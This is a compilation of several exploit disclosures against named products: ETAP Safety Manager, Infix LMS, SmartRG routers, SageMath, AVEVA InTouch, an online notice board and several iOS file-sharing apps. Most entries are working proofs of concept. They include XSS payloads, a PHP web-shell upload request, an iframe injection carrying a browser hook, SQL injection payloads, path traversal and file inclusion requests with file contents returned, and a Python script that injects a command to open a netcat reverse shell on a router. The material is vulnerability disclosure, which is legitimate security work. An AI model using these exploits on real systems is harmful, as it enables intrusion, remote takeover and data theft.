<pre><code><br />ETAP Safety Manager 1.0.0.32 Remote Unauthenticated Reflected XSS<br /><br /><br />Vendor: ETAP Lighting International NV<br />Product web page: https://www.etaplighting.com<br />Affected version: 1.0.0.32<br /><br />Summary: The ETAP Safety Manager (ESM) is a central managing and control<br />system that helps you to monitor, adjust and maintain your emergency lighting<br />system. Therefore each luminaire connected to your ESM network is given a<br />unique code. The ESM can easily identify the luminaires individually and<br />automatically report whether all luminaires work properly. You can either<br />choose between a wired or wireless network, or a combination of both. With<br />ESM you will not only manage your self contained or your centrally supplied<br />‘ETAP Battery System’ (EBS) emergency luminaires’, but also DALI emergency<br />units and K9 LED modules, which you can build into your luminaires. Since<br />your ESM system is connected to the Internet, you will always have access<br />to it through the World Wide Web. ESMweb™ is an ‘embedded web server’<br />application for monitoring an emergency lighting system, which runs in the<br />‘ESM web controller’. The ESMweb™ application can be accessed from any PC<br />in the corporate network or connected to the Internet - by a standard web<br />browser.<br /><br />Desc: Input passed to the GET parameter 'action' is not properly sanitised<br />before being returned to the user. This can be exploited to execute arbitrary<br />HTML/JS code in a user's browser session in context of an affected site.<br /><br />Tested on: Apache/2.4.41 (Ubuntu)<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2022-5711<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5711.php<br /><br /><br />22.08.2022<br /><br />--<br /><br /><br />PoC:<br /><br />GET /json/authenticate.php?action=[XSS]&username=waddup&password=nm HTTP/1.1<br /><br />{"success":false,"errorMessage":"Invalid command: $","errorCode":0,"errorInfo":"\/var\/www\/etap-root\/scripts\/class.dispatch.php(39)","rows":[]}<br /></code></pre>
<pre><code># Exploit Title: Infix LMS - Learning Management System Shell Upload<br /># Exploit Author: th3d1gger<br /># Vendor Homepage: https://codecanyon.net<br /># Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608<br /># Version: 4.3.0<br /># Tested on Ubuntu 18.04<br />sign up as teacher<br />go profile page and try to upload profile pic<br />with bypass name restriction on post request with burp or etc, upload b374k with burp or else <br /><br />-------Request-----------<br />POST /profile-update HTTP/1.1<br />Host: localhost<br />Content-Length: 102201<br />Cache-Control: max-age=0<br />sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Linux"<br />Upgrade-Insecure-Requests: 1<br />Origin: http://localhost<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/profile-settings<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Cookie: XSRF-TOKEN=eyJpdiI6Ijhpc05lZDlpcElOM1ZJZ0sxZDBXSUE9PSIsInZhbHVlIjoiVXRsZGNUNVlGWXY5RVpxTDVPK08wQW5TK05RMmUvRUVYKzQ0L0R0cHpyZmhmUFFHVm04ZWo2UVVUYkNuYm15c3RrcUlzQnJySnBWUHdHOGF6NkVneUNibDZxbEc1MytrWVRzVDVhaDNOYjN1ZGI1aHFEd3B2VXgrczZrUjEzR2QiLCJtYWMiOiJkNTZmNTU3YzU0NzJlNzJhMWIwMWNmMDhjMjI2ZTEzZjgwMDY0Mzk1ZjRiMWNhZjczZjhmNTQyN2NiNWZhMTdjIiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6InBSSllCaHF1UFlLS0dpT3RYaHRkRkE9PSIsInZhbHVlIjoiYlI3ak1obGtEa1hiV1hhOEF4V2Y1RjVTQmJHVjdvRmUrRmM0aE4wcElycHRCWnNVeG5LSVJBb3A1SDBXaU9mUzZTZ2EvSDZTZ00vRmZUbXZXZ2UzK3BsMlRJVDlJSThpRGc0SEEvZmh5cmtHSkhDWGNTOCtEcFdkaGEwdjhpOHAiLCJtYWMiOiI0NjJhMTRjNjIyMWQyM2MxZDliOGIzYjNmZmQ5YjA1YWVmYjUzZjhjMmI2MjAwNTFiZGNlN2RiMmUyMzhlZDFhIiwidGFnIjoiIn0%3D<br />Connection: close<br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="_token"<br /><br />0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="name"<br /><br />Teacher<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="email"<br /><br />teacher@infixedu.com<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="phone"<br /><br />01711223345<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="country"<br /><br />19<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="city"<br /><br />1374<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="zip"<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="currency"<br /><br />112<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="language"<br /><br />19<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="facebook"<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="twitter"<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="linkedin"<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="instagram"<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="short_details"<br /><br />Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="about"<br /><br />Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.<br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="files"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC<br />Content-Disposition: form-data; name="image"; filename="shell.php.jpg.php"<br />Content-Type: image<br />------b374kshell content-----<br /><br />------WebKitFormBoundaryzjX6L4V6hVC4KIEC--<br /></code></pre>
<pre><code># Exploit Title: Infix LMS - Learning Management System IFRAME Injection<br /># Exploit Author: th3d1gger<br /># Vendor Homepage: https://codecanyon.net<br /># Software Link: https://codecanyon.net/item/infixlms-learning-management-system/30626608<br /># Version: 4.3.0<br /># Tested on Ubuntu 18.04<br />sign up as teacher<br />go course page and try to add course or edit<br />with bypass special char restrict on post request with burp or etc, inject iframe with beef hook or else on any note-editor field<br /><br />--request--<br />POST /admin/course/updateCourse HTTP/1.1<br />Host: localhost<br />Content-Length: 3855<br />Cache-Control: max-age=0<br />sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Linux"<br />Upgrade-Insecure-Requests: 1<br />Origin: http://localhost<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydcMGShie2VwdqOn2<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/admin/course/course-details/7?type=courseDetails<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Cookie: XSRF-TOKEN=eyJpdiI6IlhIUjU2U3FiTUMzQzZxT2E0OVVhZ1E9PSIsInZhbHVlIjoiRDBWUnFuakRhbTlHMStIb0xaRGp3YndQY3lla0RWcjZ2N3VyUUZMUzU1M004azBNNFk2QlBQNnJGSzRxWnh3bVppZ1hBcmRaOEV3TWd0L2V3R3FXcTZTQVpMQWxFSXQvOE00a3NZK0tjaDNqNzJ4ckdQc2psN2tMUzJaK3kzaDgiLCJtYWMiOiIxMjNjZTExZGE1MzUzNmQ0ZGMxMzk3Y2Y5NmEwMjZjNjdhZDEyNDU5ODYwYTVhZTZjM2UwN2VhNzZiMGY0OTI5IiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6Im1hSEwwZ3ZlbGJUVGpqTFJLSEdkOGc9PSIsInZhbHVlIjoiSUNJbDZMbmNLSWVlWm1OU3BqYVpYYTkzK3BVN0xxaG1qZnpCVis1TjAwd1FRV3RKUlRNbGdleUhaUWRpdXMwTmxtMFJjc3BTUTV2Ty9zLzkyTWZBckpRTUlsVEc1dmlVbzRwOHRhdW1nSWpNdkRnbmNUMGFqZFUyVml2UDBDclMiLCJtYWMiOiIzZjBmNjVlNDg0MjFmN2NiYjI3ZmIxNmM0YjlkMjE1MGZjZTVlN2Y5N2JmYTcwOWM1ZDA2ZmU4MzIzYzI2YTExIiwidGFnIjoiIn0%3D<br />Connection: close<br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="_token"<br /><br />0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="type"<br /><br />1<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="drip"<br /><br />0<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="title"<br /><br />Introduction to Programming and App Development<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="id"<br /><br />7<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="requirements"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="files"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="about"<br /><br /><p><p><br></p><p><br></p><p><br></p></p><p><p><iframe src="http://192.168.1.18:3000/uploads/test.html"></p></p><div><br></div><p><br></p><p><br></p><p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text<br /> ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book</p><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="files"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="outcomes"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="files"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="category"<br /><br />4<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="sub_category"<br /><br />7<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="mode_of_delivery"<br /><br />1<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="quiz"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="level"<br /><br />2<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="language"<br /><br />19<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="duration"<br /><br />10<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="complete_order"<br /><br />0<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="price"<br /><br />20<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="is_discount"<br /><br />1<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="discount_price"<br /><br />10<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="host"<br /><br />Youtube<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="trailer_link"<br /><br />https://www.youtube.com/watch?v=mlqWUqVZrHA<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="vimeo"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="vdocipher"<br /><br />https://www.youtube.com/watch?v=mlqWUqVZrHA<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="file"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="scope"<br /><br />1<br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="image"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="meta_keywords"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2<br />Content-Disposition: form-data; name="meta_description"<br /><br /><br />------WebKitFormBoundarydcMGShie2VwdqOn2--<br /><br /></code></pre>
<pre><code># Exploit Title: SmartRG Router - Remote Code Execution<br /># Date: 13/06/2022<br /># Exploit Author: Yerodin Richards<br /># Vendor Homepage: https://adtran.com<br /># Version: 2.5.15 / 2.6.13 (confirmed)<br /># Tested on: SR506n (2.5.15) & SR510n (2.6.13)<br /># CVE : CVE-2022-37661<br /><br />import requests<br />from subprocess import Popen, PIPE<br /><br />router_host = "http://192.168.1.1"<br />authorization_header = "YWRtaW46QWRtMW5ATDFtMyM="<br /><br />lhost = "lo"<br />lport = 80<br /><br />payload_port = 81<br /><br /><br />def main():<br /> e_proc = Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tmp/s | nc {lhost} {lport} > /tmp/s"], stdout=PIPE)<br /> Popen(["nc", "-nlvp", f"{payload_port}"], stdin=e_proc.stdout)<br /> send_payload(f"|nc {lhost} {payload_port}|sh")<br /> print("done.. check shell")<br /><br /><br />def get_session():<br /> url = router_host + "/admin/ping.html"<br /> headers = {"Authorization": "Basic {}".format(authorization_header)}<br /> r = requests.get(url, headers=headers).text<br /> i = r.find("&sessionKey=") + len("&sessionKey=")<br /> s = ""<br /> while r[i] != "'":<br /> s = s + r[i]<br /> i = i + 1<br /> return s<br /><br /><br />def send_payload(payload):<br /> print(payload)<br /> url = router_host + "/admin/pingHost.cmd"<br /> headers = {"Authorization": "Basic {}".format(authorization_header)}<br /> params = {"action": "add", "targetHostAddress": payload, "sessionKey": get_session()}<br /> requests.get(url, headers=headers, params=params).text<br /><br /><br />main()<br /></code></pre>
<pre><code>sagemath 9.0 and reportedly later on ubuntu 20.<br /><br />sagemath gives access to the python interpreter,<br />so code execution is trivial.<br /><br />We give DoS attacks, which terminates the sagemath process<br />with abort(), when raising symbolic expression to large integer power.<br /><br />We get abort() with stack:<br /><br />gmp: overflow in mpz type<br /><br />#6 0x00007f55c83ee72e in __GI_abort () at<br />/build/glibc-SzIz7B/glibc-2.31/stdlib/abort.c:79<br />#7 0x00007f55c56e0d20 in __gmpz_realloc ()<br />#8 0x00007f55c56dd2b0 in __gmpz_n_pow_ui ()<br />#9 0x0000000000000000 in GiNaC::numeric::power(long) const ()<br />#10 0x0000000000000000 in GiNaC::numeric::pow_intexp(GiNaC::numeric<br />const&) const ()<br /><br />The non-minimal testcase<br />===<br />#sagemath code, copyright Georgi Guninski<br /><br />def binnk3u(n,k): return ( (n/k)**(k))<br />n1=(2*10**3);d0=29004853178239;n0=SR(log(n1));<br />tt=binnk3u(n0+d0-1,d0);<br />print("passed :(")<br />===<br /><br /></code></pre>
<pre><code>Title:<br />======<br />AVEVA InTouch Access Anywhere Secure Gateway - Path Traversal<br /><br />Author:<br />=======<br />Jens Regel, CRISEC IT-Security<br /><br />CVE:<br />====<br />CVE-2022-23854<br /><br />Advisory:<br />=========<br />https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal/<br /><br />Timeline:<br />=========<br />25.06.2021 Vulnerability discovered<br />25.06.2021 Send details to custfirstsupport@aveva.com<br />21.09.2021 Vendor response, fix is available until Q1/2022<br />25.09.2021 Vendor released Tech Alert TA000022335<br />06.09.2022 Public disclosure<br /><br />Vendor:<br />=======<br />AVEVA Group plc is a marine and plant engineering IT company <br />headquartered in Cambridge, England. AVEVA software is used in many <br />sectors, including on- and off-shore oil and gas processing, chemicals, <br />pharmaceuticals, nuclear and conventional power generation, nuclear fuel <br />reprocessing, recycling and shipbuilding (https://www.aveva.com).<br /><br />Affected Products:<br />==================<br />InTouch Access Anywhere Secure Gateway versions 2020 R2 and older<br /><br />Details:<br />========<br />A security vulnerability exists in InTouch Access Anywhere Secure <br />Gateway versions 2020 R2 and older. This is a Relative Path Traversal <br />vulnerability which allows an unauthenticated user with network access <br />to the Secure Gateway to read files on the system outside of the Secure <br />Gateway web server.<br /><br />Proof of Concept:<br />=================<br />GET <br />/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini <br />HTTP/1.1<br /><br />HTTP/1.1 200 OK<br />Server: EricomSecureGateway/8.4.0.26844.*<br />(..)<br /><br />; for 16-bit app support<br />[fonts]<br />[extensions]<br />[mci extensions]<br />[files]<br />[Mail]<br />MAPI=1<br /><br />Fix:<br />====<br />InTouch Access Anywhere Secure Gateway 2020 R2 (version 20.1.0) Hotfix<br />InTouch Access Anywhere Secure Gateway 2020b (version 20.0.1) Hotfix<br /><br /></code></pre>
<pre><code>## Title: ONLINE-NOTICE-BOARD-2022 SQLi<br />## Author: nu11secur1ty<br />## Date: 09.09.2022<br />## Vendor: https://www.sourcecodester.com/users/razormist<br />## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022<br /><br />## Description:<br />The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears to<br />be vulnerable to SQL injection attacks.<br />The malicious user can dump-steal the database, from this system and<br />he can use it for very malicious purposes.<br />NOTE: The users of this system are NOT protected, this SQL<br />vulnerability is CRITICAL!<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Payload:<br />```mysql<br />---<br />Parameter: e (POST)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause (NOT)<br /> Payload: e=MfbByvbe@glupakarazormist.net' OR NOT 5051=5051#<br />Wypj&p=h8F!c4q!L9&save=Login<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: e=MfbByvbe@glupakarazormist.net' OR (SELECT 8344<br />FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT<br />(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: e=MfbByvbe@glupakarazormist.net' AND (SELECT 8661 FROM<br />(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login<br /><br /> Type: UNION query<br /> Title: MySQL UNION query (NULL) - 10 columns<br /> Payload: e=MfbByvbe@glupakarazormist.net' UNION ALL SELECT<br />NULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/4u9diy)<br /><br /></code></pre>
<pre><code># Exploit Title: mbDrive Lite - WiFi flash disk 1.4.0 Reflected XSS<br /># Date: Sep 8, 2022<br /># Exploit Author: Chokri Hammedi<br /># Vendor Homepage:<br />https://apps.apple.com/us/developer/haw-yuan-yang/id291212805<br /># Software Link:<br />https://apps.apple.com/us/app/mbdrive-lite-wifi-flash-disk/id343254033<br /># Version: 1.4.0<br /># Tested on: iPhone ios 15.6<br /><br /><br />poc:<br /><br />http://192.168.1.187:8080/list?path=%3Cscript%3Ealert(%271%27);%3C/script%3E<br /></code></pre>
<pre><code># Exploit Title: AirDisk 7.5.5 File Manager Stored XSS<br /># Date: Sep 8, 2022<br /># Exploit Author: Chokri Hammedi<br /># Vendor Homepage: https://apps.apple.com/us/developer/felix-yew/id505904424<br /># Software Link:<br />https://apps.apple.com/us/app/airdisk-file-manager/id566530748<br /># Version: 7.5.5<br /># Tested on: iPhone ios 15.6<br /><br />1/ Starting the server ( File Transfer > Wi-fi File Transfer )<br /><br />2/ Go to browser<br /><br />3/ Enter the address showing on app eg: http://192.168.1.187:8080<br /><br />4/ Create a folder with the name: rose'"><img src=x<br />onerror=alert(document.location)><br /><br />5/ Refresh.<br /></code></pre>
<pre><code># Exploit Title: @Drive 2.8 Local File inclusion<br /># Date: Sep 8, 2022<br /># Exploit Author: Chokri Hammedi<br /># Vendor Homepage: https://evolutive.co/<br /># Software Link: https://apps.apple.com/us/app/drive/id578982909<br /># Version: 2.8<br /># Tested on: iPhone ios 15.6<br /><br />GET /../../../../../../../../../../../../../../../../etc/hosts HTTP/1.1<br />Host: 192.168.1.187<br />User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)<br />AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e<br />Safari/8536.25<br />Accept: */*<br />Referer: http://192.168.1.187/<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br /><br />--------<br /><br />HTTP/1.1 200 OK<br />Content-Type: application/octet-stream<br />Content-Length: 213<br />Accept-Ranges: bytes<br />Date: Thu, 08 Sep 2022 14:26:16 GMT<br /><br />##<br /># Host Database<br />#<br /># localhost is used to configure the loopback interface<br /># when the system is booting. Do not change this entry.<br />##<br />127.0.0.1 localhost<br />255.255.255.255 broadcasthost<br />::1 localhost<br /></code></pre>
